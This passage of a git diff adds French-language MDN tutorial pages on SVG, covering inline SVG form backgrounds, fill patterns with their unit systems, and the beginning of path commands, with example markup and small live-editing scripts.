+<p>Outre les recommendations complètes de SVG, le groupe de travail du W3C a introduit SVG Tiny et SVG basic en 2003. Ces deux profils d'adressent principalement aux mobiles. SVG Tiny devrait permettre d'obtenir des graphiques simples pour les périphériques qui ont de faibles capacités. SVG Basic, lui, offre de nombreuses fonctionnalités de SVG, mais n'inclut pas celles qui sont difficiles à implémenter ou lourdes à restituer (comme les animations). En 2008, SVG Tiny 1.2 est devenu une recommendation du W3C.</p>
+
+<p>Une spécification SVG Print était prévue, qui ajouterait la prise en charge de plusieurs pages et une gestion améliorée des couleurs. Ce travail a été interrompu.</p>
+
+<p>{{ PreviousNext("SVG/Tutoriel", "SVG/Tutoriel/Premiers_pas") }}</p>
+
+<p><span class="comment">Interwiki Languages Links</span></p>
+
+<p>{{ languages( { "en": "en/SVG/Tutorial/Introduction", "ja": "ja/SVG/Tutorial/Introduction" } ) }}</p>
diff --git a/files/fr/web/svg/tutoriel/introduction_à_svg_dans_html/index.html b/files/fr/web/svg/tutoriel/introduction_à_svg_dans_html/index.html
new file mode 100644
index 0000000000..29db7cb55b
--- /dev/null
+++ b/files/fr/web/svg/tutoriel/introduction_à_svg_dans_html/index.html
@@ -0,0 +1,87 @@
+---
+title: Introduction à SVG dans HTML
+slug: Web/SVG/Tutoriel/Introduction_à_SVG_dans_HTML
+tags:
+  - SVG
+translation_of: Web/SVG/Tutorial/SVG_In_HTML_Introduction
+---
+<h3 id="Aper.C3.A7u" name="Aper.C3.A7u">Aperçu</h3>
+
+<p>Cet article et son exemple associé montrent comment utiliser du <a href="fr/SVG">SVG</a> en ligne pour fournir une image de fond à un formulaire. Il montre comment <a href="fr/JavaScript">JavaScript</a> et <a href="fr/CSS">CSS</a> peuvent servir à manipuler l'image comme vous le feriez avec le XHTML dans un script. Notez que l'exemple ne fonctionnera que dans des navigateurs supportant XHTML (pas HTML) et l'intégration SVG.</p>
+
+<h3 id="Source" name="Source">Source</h3>
+
+<p>Voici le code source de <a class="external" href="http://developer.mozilla.org/presentations/xtech2005/svg-canvas/SVGDemo.xml">cet exemple</a> :</p>
+
+<pre>&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
+&lt;head&gt;
+  &lt;title&gt;XTech SVG Demo&lt;/title&gt;
+  &lt;style&gt;
+    stop.begin { stop-color:yellow; }
+    stop.end { stop-color:green; }
+    body.invalid stop.end { stop-color:red; }
+    #err { display:none; }
+    body.invalid #err { display:inline; }
+  &lt;/style&gt;
+  &lt;script&gt;
+    function signalError() {
+      document.getElementById('body').setAttribute("class", "invalid");
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body id="body"
+   style="position:absolute; z-index:0; border:1px solid black; left:5%; top:5%; width:90%; height:90%;"&gt;
+  &lt;form&gt;
+     &lt;fieldset&gt;
+       &lt;legend&gt;HTML Form&lt;/legend&gt;
+       &lt;p&gt;&lt;label&gt;Enter something:&lt;/label&gt;
+          &lt;input type="text"/&gt;
+          &lt;span id="err"&gt;Incorrect value!&lt;/span&gt;&lt;/p&gt;
+       &lt;p&gt;&lt;button onclick="signalError();"&gt;Activate!&lt;/button&gt;&lt;/p&gt;
+     &lt;/fieldset&gt;
+  &lt;/form&gt;
+  &lt;svg xmlns="http://www.w3.org/2000/svg" version="1.1"
+    viewBox="0 0 100 100" preserveAspectRatio="xMidYMid slice"
+    style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:-1;"&gt;
+    &lt;linearGradient id="gradient"&gt;
+      &lt;stop class="begin" offset="0%"/&gt;
+      &lt;stop class="end" offset="100%"/&gt;
+    &lt;/linearGradient&gt;
+    &lt;rect x="0" y="0" width="100" height="100" style="fill:url(#gradient)" /&gt;
+    &lt;circle cx="50" cy="50" r="30" style="fill:url(#gradient)" /&gt;
+  &lt;/svg&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="Discussion" name="Discussion">Discussion</h3>
+
+<p>La page est principalement formée de XHTML, CSS et JavaScript classiques. La seule partie intéressante est le contenu de l'élément &lt;svg&gt;. Cet élément et ses fils sont déclarés comme étant dans l'espace de nommage SVG. L'élément contient un gradient et deux formes remplies avec le gradient. Les bornes de couleurs du gradient sont définies par une classe CSS. Lorsque l'utilisateur saisit quelque chose d'incorrect dans le formulaire, le script affecte l'attribut <code>invalid</code> à la balise &lt;body&gt; et une règle de style modifie la couleur <code>end-stop</code> du gradient en rouge en lui donnant la valeur « red » (Une autre règle de style sert à faire apparaître un message d'erreur).</p>
+
+<p>Cette approche bénéficie des points suivants en sa faveur :</p>
+
+<ul>
+ <li>Nous avons choisi un formulaire XHTML classique qui pourrait faire partie d'un site Web existant, et lui avons ajouté un fond attractif et interactif</li>
+ <li>L'approche assure une rétro-compatibilité pour les navigateurs qui ne supportent pas SVG ; simplement, aucun fond n'apparaîtra pour eux</li>
+ <li>Elle est très simple et remplit sa fonction parfaitement</li>
+ <li>L'image se redimensionne automatiquement à la taille requise de manière intelligente</li>
+ <li>Nous pouvons avoir des déclarations de styles appliquées à la fois sur le HTML et le SVG</li>
+ <li>Le même script manipule à la fois le HTML et le SVG</li>
+ <li>Le document est entièrement basé sur les standards</li>
+</ul>
+
+<h3 id="D.C3.A9tails" name="D.C3.A9tails">Détails</h3>
+
+<p>L'attribut <code>viewBox</code> établit un système de coordonnées logiques sur lequel les coordonnées de l'image SVG s'appuient de façon relative. Dans ce cas, notre image s'étend dans un cadre de visualisation de 100 sur 100.</p>
+
+<p>L'attribut <code>preserveAspectRatio</code> spécifie que le ratio de rendu doit être préservé en centrant l'image dans l'espace disponible, en augmentant la largeur ou la hauteur à leur maximum et en tronquant les débordements.</p>
+
+<p>L'attribut <code>style</code> ancre l'élément SVG en arrière plan du formulaire.</p>
+
+<h3 id="Liens_sur_le_sujet" name="Liens_sur_le_sujet">Liens sur le sujet</h3>
+
+<ul>
+ <li>L'article wikipedia sur le format <a href="http://fr.wikipedia.org/wiki/Scalable_Vector_Graphics">SVG</a></li>
+ <li>La page <a class="external" href="http://svg-whiz.com/wiki/index.php?title=Inline_SVG">Inline SVG</a> sur le wiki SVG</li>
+</ul>
+
+<p>{{ languages( { "en": "en/SVG_In_HTML_Introduction", "ja": "ja/SVG_In_HTML_Introduction", "pl": "pl/SVG_w_XHTML_-_Wprowadzenie" } ) }}</p>
diff --git a/files/fr/web/svg/tutoriel/motifs/index.html b/files/fr/web/svg/tutoriel/motifs/index.html
new file mode 100644
index 0000000000..29a63e8f60
--- /dev/null
+++ b/files/fr/web/svg/tutoriel/motifs/index.html
@@ -0,0 +1,266 @@
+---
+title: Motifs
+slug: Web/SVG/Tutoriel/Motifs
+tags:
+  - SVG
+  - 'SVG:Tutoriel'
+translation_of: Web/SVG/Tutorial/Patterns
+---
+<p>{{ PreviousNext("Web/SVG/Tutoriel/Gradients", "Web/SVG/Tutoriel/Texts") }}</p>
+
+<p>Les motifs (<em>patterns</em> en anglais) sont sans aucun doute les types de remplissages les plus complexes à utiliser en SVG. Ce sont également des outils très puissants, ils méritent donc d'être abordés pour que vous en connaissiez les fondamentaux. Comme les dégradés, l'élément {{SVGElement('pattern')}} doit être placé dans la section <code>&lt;defs&gt;</code> du fichier SVG.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: html">&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+    &lt;linearGradient id="Gradient1"&gt;
+      &lt;stop offset="5%" stop-color="white"/&gt;
+      &lt;stop offset="95%" stop-color="blue"/&gt;
+    &lt;/linearGradient&gt;
+    &lt;linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"&gt;
+      &lt;stop offset="5%" stop-color="red"/&gt;
+      &lt;stop offset="95%" stop-color="orange"/&gt;
+    &lt;/linearGradient&gt;
+
+    &lt;pattern id="Pattern" x="0" y="0" width=".25" height=".25"&gt;
+      &lt;rect x="0" y="0" width="50" height="50" fill="skyblue"/&gt;
+      &lt;rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/&gt;
+      &lt;circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/&gt;
+    &lt;/pattern&gt;
+  &lt;/defs&gt;
+
+  &lt;rect fill="url(#Pattern)" stroke="black" width="200" height="200"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{ EmbedLiveSample('Exemple','220','220','/files/725/SVG_Pattern_Example.png') }}</p>
+
+<p>À l'intérieur de l'élément <code>pattern</code>, vous pouvez inclure toutes les formes de bases de SVG et les styliser de la même manière que d'habitude (remplissage, contour, dégradés, opacité, etc). Dans notre exemple, on a dessiné un cercle et deux rectangles (qui se chevauchent et dont l'un est deux fois plus grand que l'autre pour remplir le motif en entier).</p>
+
+<p>La partie pouvant apporter le plus de confusion avec les motifs est le système d'unité et la taille des éléments.</p>
+
+<h2 id="Unités_du_motif_objectBoundingBox">Unités du motif: objectBoundingBox</h2>
+
+<p>Les attributs <code>width</code> et <code>height</code> sur l'élément <code>pattern</code> décrivent jusqu'où le motif doit aller avant de se répéter. Les attributs <code>x</code> et <code>y</code> sont également disponibles si vous souhaitez décaler le point de départ du motif à l'intérieur du dessin.</p>
+
+<p>Même principe que l'attribut <code>gradientUnits</code> (que nous avons vu précédemment avec les dégradés), les motifs peuvent prendre un attribut <code>patternUnits</code>, pour spécifier l'unité utilisée par le motif. La valeur par défaut est  "objectBoundingBox", ainsi une taille de 1 remplira entièrement la hauteur/largeur de l'objet auquel le motif est appliqué. Puisque dans notre cas, on veut que le motif se répète 4 fois horizontalement et verticalement, on a définit <code>height</code> et <code>width</code> à 0.25. Cela signifie que la hauteur et largeur du pattern sera de 25% celle de l'objet.</p>
+
+<p>De même, pour que le motif commence à 10 pixels du bord supérieur-gauche de l'objet, il faudrait définir les valeurs de <code>x</code> et <code>y</code> à 0.05 (10/200 = 0.05).</p>
+
+<h2 id="Unités_du_contenu_userSpaceOnUse">Unités du contenu: userSpaceOnUse</h2>
+
+<p>Contrairement aux dégradés, les motifs ont un deuxième argument, <code>patternContentUnits</code>, qui lui spécifie l'unité utilisée par les formes à l'intérieur du motif. La valeur par défaut est "userSpaceOnUse", l'opposé de l'attribut <code>patternUnits</code>. Cela signifie qu'à moins de définir ces attributs aurement (<code>patternContentUnits</code> et/ou <code>patternUnits</code>), les formes que vous dessinez à l'intérieur du motif ont un système de coordonnées différent du motif, ce qui peut rendre les choses un peu déroutantes si vous écrivez le code à la main.</p>
+
+<p>Pour que cela fonctionne dans l'exemple ci-dessus, nous avons dû prendre en compte la taille du rectangle sur lequel est appliqué le motif (200px) et le fait que l'on veut répéter le motif 4 fois horizontalement et verticalement, donc que le motif sera un carré de 50x50. Les deux rectangles et le cercle à l'intérieur du motif ont été dimensionnés pour tenir dans un carré de 50x50. Tout ce qui sortirait en dehors ne serait pas affiché.</p>
+
+<p>La chose à retenir est que si l'objet change de taille, le motif lui-même sera mis à l'échelle mais les objets à l'intérieur non. Ainsi, alors qu'on aura toujours 4 motifs qui se répètent horizontalement et verticalement, les objets à l'intérieur du motif garderont la même taille, et une zone vide sera affichée.</p>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;svg width="600" height="200" xmlns="http://www.w3.org/2000/svg" id="svg" class="playable-svg"&gt;
+  &lt;defs&gt;
+    &lt;linearGradient id="Gradient1"&gt;
+      &lt;stop offset="5%" stop-color="white"/&gt;
+      &lt;stop offset="95%" stop-color="blue"/&gt;
+    &lt;/linearGradient&gt;
+    &lt;linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"&gt;
+      &lt;stop offset="5%" stop-color="red"/&gt;
+      &lt;stop offset="95%" stop-color="orange"/&gt;
+    &lt;/linearGradient&gt;
+
+    &lt;pattern id="Pattern" x="0" y="0" width=".25" height=".25"&gt;
+      &lt;rect x="0" y="0" width="50" height="50" fill="skyblue"/&gt;
+      &lt;rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/&gt;
+      &lt;circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/&gt;
+    &lt;/pattern&gt;
+  &lt;/defs&gt;
+
+  &lt;rect fill="url(#Pattern)" stroke="black" width="200" height="200"/&gt;
+&lt;/svg&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+rect.setAttribute('width', 300);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var svg      = document.getElementById('svg'),
+    rect     = svg.lastElementChild;
+
+var textarea = document.getElementById('code'),
+    reset    = document.getElementById('reset'),
+    edit     = document.getElementById('edit'),
+    code     = textarea.value;
+
+function drawSvg() {
+  eval(textarea.value);
+}
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  drawSvg();
+});
+edit.addEventListener('click', function() {
+  textarea.focus();
+})
+
+textarea.addEventListener('input', drawSvg);
+window.addEventListener('load', drawSvg);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code','220','350') }}</p>
+
+<h2 id="Unités_du_contenu_objectBoundingBox">Unités du contenu: objectBoundingBox</h2>
+
+<p>En changeant l'attribut <code>patternContentUnits</code>, on peut utiliser le même système d'unité pour tous les éléments:</p>
+
+<pre class="brush: xml"> &lt;pattern id="Pattern" width=".25" height=".25" patternContentUnits="objectBoundingBox"&gt;
+   &lt;rect x="0" y="0" width=".25" height=".25" fill="skyblue"/&gt;
+   &lt;rect x="0" y="0" width=".125" height=".125" fill="url(#Gradient2)"/&gt;
+   &lt;circle cx=".125" cy=".125" r=".1" fill="url(#Gradient1)" fill-opacity="0.5"/&gt;
+ &lt;/pattern&gt;
+</pre>
+
+<p>Maintenant, parce le contenu du motif utilise le même système d'unité que le motif, le motif redimensionne automatiquement son contenu. Cela contraste avec le système "userSpaceOnUse" par défaut, où lorsque le motif change le taille, le contenu garde la même taille.</p>
+
+<div class="hidden">
+<h6 id="Playable_code_2" name="Playable_code_2">Playable code 2</h6>
+
+<pre class="brush: html">&lt;svg width="600" height="200" xmlns="http://www.w3.org/2000/svg" id="svg" class="playable-svg"&gt;
+  &lt;defs&gt;
+    &lt;linearGradient id="Gradient1"&gt;
+      &lt;stop offset="5%" stop-color="white"/&gt;
+      &lt;stop offset="95%" stop-color="blue"/&gt;
+    &lt;/linearGradient&gt;
+    &lt;linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"&gt;
+      &lt;stop offset="5%" stop-color="red"/&gt;
+      &lt;stop offset="95%" stop-color="orange"/&gt;
+    &lt;/linearGradient&gt;
+
+    &lt;pattern id="Pattern" width=".25" height=".25" patternContentUnits="objectBoundingBox"&gt;
+      &lt;rect x="0" y="0" width=".25" height=".25" fill="skyblue"/&gt;
+      &lt;rect x="0" y="0" width=".125" height=".125" fill="url(#Gradient2)"/&gt;
+      &lt;circle cx=".125" cy=".125" r=".1" fill="url(#Gradient1)" fill-opacity="0.5"/&gt;
+    &lt;/pattern&gt;
+  &lt;/defs&gt;
+
+  &lt;rect fill="url(#Pattern)" stroke="black" width="200" height="200"/&gt;
+&lt;/svg&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+rect.setAttribute('width', 300);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var svg      = document.getElementById('svg'),
+    rect     = svg.lastElementChild;
+
+var textarea = document.getElementById('code'),
+    reset    = document.getElementById('reset'),
+    edit     = document.getElementById('edit'),
+    code     = textarea.value;
+
+function drawSvg() {
+  eval(textarea.value);
+}
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  drawSvg();
+});
+edit.addEventListener('click', function() {
+  textarea.focus();
+})
+
+textarea.addEventListener('input', drawSvg);
+window.addEventListener('load', drawSvg);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_2','220','350') }}</p>
+
+<p class="note"><strong>Note</strong>: Dans Gecko, les cercles semblent avoir du mal à être dessinés si le rayon est inférieur à 0.075 (on ignore s'il s'agit d'un bug de l'élément pattern ou non). Pour contourner ce problème, il est probablement préférable d'éviter de dessiner des cercles dans des unités "objectBoundingBox".</p>
+
+<h2 id="Unités_du_motif_userSpaceOnUse">Unités du motif: userSpaceOnUse</h2>
+
+<p>Aucune des utilisations vu jusqu'ici ne correspond à l'usage habituel des motifs (tel qu'on le ferait en CSS): les motifs ont généralement une taille définie et se répètent indépendamment de la taille de l'objet sur lequel il est appliqué. Pour créer quelque chose comme ça, le motif et le contenu doivent être dessiné en mode "userSpaceOnUse":</p>
+
+<pre class="brush: xml"> &lt;pattern id="Pattern" x="10" y="10" width="50" height="50" patternUnits="userSpaceOnUse"&gt;
+   &lt;rect x="0" y="0" width="50" height="50" fill="skyblue"/&gt;
+   &lt;rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/&gt;
+   &lt;circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/&gt;
+ &lt;/pattern&gt;
+</pre>
+
+<p>Bien sûr, cela veut dire que le motif ne sera pas mis à l'échelle si vous modifiez la taille de l'objet ultérieurement.</p>
+
+<div class="hidden">
+<h6 id="Playable_code_3" name="Playable_code_3">Playable code</h6>
+
+<pre class="brush: html">&lt;svg width="600" height="200" xmlns="http://www.w3.org/2000/svg" id="svg" class="playable-svg"&gt;
+  &lt;defs&gt;
+    &lt;linearGradient id="Gradient1"&gt;
+      &lt;stop offset="5%" stop-color="white"/&gt;
+      &lt;stop offset="95%" stop-color="blue"/&gt;
+    &lt;/linearGradient&gt;
+    &lt;linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"&gt;
+      &lt;stop offset="5%" stop-color="red"/&gt;
+      &lt;stop offset="95%" stop-color="orange"/&gt;
+    &lt;/linearGradient&gt;
+
+    &lt;pattern id="Pattern" x="10" y="10" width="50" height="50" patternUnits="userSpaceOnUse"&gt;
+      &lt;rect x="0" y="0" width="50" height="50" fill="skyblue"/&gt;
+      &lt;rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/&gt;
+      &lt;circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/&gt;
+    &lt;/pattern&gt;
+  &lt;/defs&gt;
+
+  &lt;rect fill="url(#Pattern)" stroke="black" width="200" height="200"/&gt;
+&lt;/svg&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+rect.setAttribute('width', 300);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var svg      = document.getElementById('svg'),
+    rect     = svg.lastElementChild;
+
+var textarea = document.getElementById('code'),
+    reset    = document.getElementById('reset'),
+    edit     = document.getElementById('edit'),
+    code     = textarea.value;
+
+function drawSvg() {
+  eval(textarea.value);
+}
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  drawSvg();
+});
+edit.addEventListener('click', function() {
+  textarea.focus();
+})
+
+textarea.addEventListener('input', drawSvg);
+window.addEventListener('load', drawSvg);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_3','220','350') }}</p>
+
+<h2 id="Récapitulatif">Récapitulatif</h2>
+
+<p>Les trois exemples sont illustrés ci-dessous sur un rectangle allongé à une hauteur de 300px:</p>
+
+<p><img alt="Image:SVG_Pattern_Comparison_of_Units.png" class="internal" src="/@api/deki/files/349/=SVG_Pattern_Comparison_of_Units.png"></p>
+
+<p>{{ PreviousNext("Web/SVG/Tutoriel/Gradients", "Web/SVG/Tutoriel/Texts") }}</p>
diff --git a/files/fr/web/svg/tutoriel/paths/index.html b/files/fr/web/svg/tutoriel/paths/index.html
new file mode 100644
index 0000000000..2b73ee2682
--- /dev/null
+++ b/files/fr/web/svg/tutoriel/paths/index.html
@@ -0,0 +1,334 @@
+---
+title: Paths
+slug: Web/SVG/Tutoriel/Paths
+tags:
+  - SVG
+  - 'SVG:Tutoriel'
+translation_of: Web/SVG/Tutorial/Paths
+---
+<p>{{ PreviousNext("Web/SVG/Tutoriel/Formes_de_base", "Web/SVG/Tutoriel/Fills_and_Strokes") }}</p>
+
+<p>L’élément <a href="/en-US/Web/SVG/Element/path"><code>&lt;path&gt;</code></a> (<em>chemin</em> en français) est le plus versatile des éléments de la bibliothèque SVG parmi les <a href="/fr/docs/Web/SVG/Tutoriel/Formes_de_base">formes basiques</a>. Vous pouvez l’utiliser pour créer des lignes, des courbes, des arcs et autres.</p>
+
+<p>Les chemins créent des formes en combinant plusieurs lignes droites ou courbes. Les formes composées uniquement de lignes droites peuvent être crées avec des <a href="/fr/docs/Web/SVG/Tutoriel/Formes_de_base#Lignes_brisées">lignes brisées</a> (<em>polylines</em>). Bien que les lignes brisées et les chemins peuvent tout deux créer des formes d’apparence similaire, les lignes brisées nécessitent un grand nombre de petites lignes pour simuler des courbes, et qui ne s’adaptent pas bien aux grandes tailles. Une bonne compréhension des chemins est importante pour dessiner en SVG. Bien qu’il ne soit pas recommandé d'éditer des chemins complexes avec un éditeur XML ou texte (on utilisera plutôt un éditeur SVG tel que Inkscape ou Adobe Illustrator), comprendre comment un chemin s'écrit vous permettra éventuellement d’identifier et de corriger des erreurs d’affichage dans un SVG.</p>
+
+<p>La forme d’un élément path est définie par son attribut {{ SVGAttr("d") }}. Celui-ci prend pour valeur une série de commandes suivi de paramètres utilisés par ces commandes.</p>
+
+<p>Chacune des commandes est instanciée par une lettre spécifique. Par exemple, pour se positionner aux coordonnées (10, 10), on utilise la commande <code>M</code> (pour <em>MoveTo, </em>« aller à ») suivit des coordonées: "M 10 10". Quand l’interpréteur rencontre une lettre, il comprend que vous invoquez une commande, et les nombres qui suivent sont les paramètres de la commande.</p>
+
+<p>De plus, toutes les commandes se présentent sous deux formes: une <strong>lettre majuscule</strong> spécifie des coordonnées absolues dans la page, une <strong>lettre minuscule</strong> spécifie des coordonées relatives (par exemple, « aller à 10px vers le haut et 7px vers la gauche depuis le point précédent »).</p>
+
+<p>Les coordonnées dans l’attribut <code>d</code> sont <strong>toujours sans unité</strong> et par conséquent dans le système de coordonnées utilisateur. Par la suite, nous apprendrons comment les chemins peuvent être transformés pour répondre à d’autres besoins.</p>
+
+<h2 id="Commandes_pour_les_lignes">Commandes pour les lignes</h2>
+
+<p>Il existe cinq commandes pour tracer des lignes avec un élément <code>&lt;path&gt;</code>. Ces commandes permettent de tracer une ligne droite entre deux points.</p>
+
+<h3 id="MoveTo">MoveTo</h3>
+
+<p>La première commande, « aller à », invoquée avec <code>M</code> (<em>MoveTo</em>), a été décrite ci-dessus. Elle prend en paramètres les coordonnées <code>x</code> et <code>y</code> où se rendre. Aucun trait n’est dessiné, le curseur est simplement déplacé dans la page. La commande « aller à » apparaît au début d’un chemin pour spécifier à quel endroit le dessin doit commencer. Par exemple :</p>
+
+<pre>M x y
+</pre>
+
+<p>ou</p>
+
+<pre>m dx dy</pre>
+
+<p>Dans l’exemple suivant, on se place au point (10, 10). Notez cependant qu'à ce stade rien n'est dessiné, on a manuellement ajouté un cercle pour indiquer la position:</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/45/=Blank_Path_Area.png" style="float: right;"></p>
+
+<pre class="brush: xml">&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M10 10"/&gt;
+
+  &lt;!-- Indique la position --&gt;
+  &lt;circle cx="10" cy="10" r="2" fill="red"/&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="LineTo_Horizontal_LineTo_Vertical_LineTo">LineTo, Horizontal LineTo, Vertical LineTo</h3>
+
+<p>Il y a trois commandes qui dessinent des lignes. La plus générique est la commande « ligne vers », invoquée avec <code>L</code> (<em>LineTo</em>). <code>L</code> prend deux paramètres, les coordonnées <code>x</code> et <code>y</code>, et dessine une ligne depuis la position actuelle vers la nouvelle position.</p>
+
+<pre>L x y (ou l dx dy)
+</pre>
+
+<p>Il existe deux formes abrégées pour dessiner des lignes horizontales ou verticales. <code>H</code> (<em>Horizontal LineTo</em>) dessine une ligne horizontale, et <code>V</code> (<em>Vertical LineTo</em>) dessine une ligne verticale. Ces deux commandes ne prennent qu’un seul argument car elles ne se déplacent que le long d’une direction.</p>
+
+<pre>H x (ou h dx)
+V y (ou v dy)
+</pre>
+
+<p>Afin de commencer facilement, nous allons dessiner une forme simple, un rectangle (qu'on aurait aussi pu dessiner avec un élément <code>&lt;rect&gt;</code>). Il est composé uniquement de lignes horizontales et verticales <span style="line-height: 1.5;">:</span></p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/292/=Path_Line_Commands.png" style="float: right;"></p>
+
+<pre class="brush: xml">&lt;svg width="100" height="100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M10 10 H 90 V 90 H 10 L 10 10"/&gt;
+
+  &lt;!-- Indique les points --&gt;
+  &lt;circle cx="10" cy="10" r="2" fill="red"/&gt;
+  &lt;circle cx="90" cy="90" r="2" fill="red"/&gt;
+  &lt;circle cx="90" cy="10" r="2" fill="red"/&gt;
+  &lt;circle cx="10" cy="90" r="2" fill="red"/&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="ClosePath">ClosePath</h3>
+
+<p>On aurait pu raccourcir un peu la déclaration de l'exemple ci-dessus en utilisant la commande « fermer le chemin », invoquée avec <code>Z</code> (<em>ClosePath</em>). Cette commande dessine une ligne droite entre la position actuelle et le premier point du chemin. Elle est souvent placée à la fin du <code>path</code>, mais pas toujours. Il n’y a pas de différence entre la commande en majuscule et en minuscule.</p>
+
+<pre>Z (ou z)
+</pre>
+
+<p>Ainsi, notre chemin précédent peut se raccourcir comme ceci:</p>
+
+<pre class="brush: xml">&lt;path d="M10 10 H 90 V 90 H 10 Z" fill="transparent" stroke="black"/&gt;
+</pre>
+
+<h2 id="Commandes_relatives">Commandes relatives</h2>
+
+<p>On aurait également pu utiliser des commandes relatives pour dessiner la même image.</p>
+
+<p>Les commandes relatives sont invoquées en utilisant des lettres minuscules. Plutôt que de déplacer le curseur vers des coordonnées absolues, elles le déplacent relativement à sa dernière position. Par exemple, puisque notre boîte est de dimension 80x80, l’élement <code>path</code> aurait pu être écrit:</p>
+
+<pre class="brush: xml">&lt;path d="M10 10 h 80 v 80 h -80 Z" fill="transparent" stroke="black"/&gt;
+</pre>
+
+<p>Le chemin va se positionner au point (10, 10), se déplacer horizontalement de 80 points vers la droite, puis de 80 points vers le bas, de 80 points vers la gauche, et enfin revenir à son point de départ.</p>
+
+<p>Dans ces exemples, il serait probablement plus simple d’utiliser un élément <code>&lt;polygon&gt;</code> ou <code>&lt;polyline&gt;</code>. Cependant, les chemins sont si couramment utilisés en dessin SVG qu'un développeur peut se sentir plus à l’aise avec eux. Il n’y a pas de réel avantage ou inconvénient à utiliser l’un ou l’autre.</p>
+
+<h2 id="Commandes_pour_les_courbes">Commandes pour les courbes</h2>
+
+<p>Il existe trois commandes différentes pour créer des courbes. Deux d’entre elles sont des courbes de Bézier, et la troisième est un « arc » ou section de cercle. Il se peut que vous ayez déjà acquis une expérience pratique avec les courbes de Bézier en utilisant les outils de chemins avec Inkscape, Illustrator ou Photoshop. Pour une description complète des concepts mathématiques sous-jacents, vous pouvez consulter la <a class="external" href="https://fr.wikipedia.org/wiki/Courbe_de_B%C3%A9zier">page Wikipedia Courbe de Bézier</a>.</p>
+
+<p>Il existe une infinité de courbes de Bézier, mais seulement deux des plus simples d’entre elles sont disponibles dans les éléments <code>path</code>: l’une cubique, invoquée avec <code>C</code>, et l’autre quadratique, invoquée avec <code>Q</code>.</p>
+
+<h3 id="CurveTo">CurveTo</h3>
+
+<p>La courbe de Bézier cubique, <code>C</code> (<em>CurveTo</em>), est la forme de courbe Bézier la plus complexe. Ce type de courbe nécessite deux points de contrôle. Ainsi, pour créer une courbe de Bézier cubique, vous devez spécifier trois paires de coordonnées.</p>
+
+<pre>C x1 y1, x2 y2, x y (or c dx1 dy1, dx2 dy2, dx dy)
+</pre>
+
+<p>Les deux premières paires de coordonnées sont les points de contrôle: le point de contrôle pour le début de la courbe est (x1, y1), et (x2, y2) est celui de la fin de la courbe. La dernière paire de coordonnées (x, y) est l’endroit où vous voulez que la ligne se termine.</p>
+
+<p>Les points de contrôle décrivent, pour faire simple, la pente de la courbe pour le point de départ et pour le point d'arrivée. La fonction Bézier crée ensuite une courbe lisse faisant le lien entre la pente que vous avez établie au début de votre ligne, et celle à l’autre extrémité.</p>
+
+<p><img alt="Cubic Bézier Curves with grid" class="internal" src="https://mdn.mozillademos.org/files/10401/Cubic_Bezier_Curves_with_grid.png" style="float: right; height: 160px; width: 190px;"></p>
+
+<pre class="brush: xml">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M10 10 C 20 20, 40 20, 50 10" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M70 10 C 70 20, 120 20, 120 10" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M130 10 C 120 20, 180 20, 170 10" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M10 60 C 20 80, 40 80, 50 60" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M70 60 C 70 80, 110 80, 110 60" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M130 60 C 120 80, 180 80, 170 60" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M10 110 C 20 140, 40 140, 50 110" stroke="black" fill="transparent"/&gt;
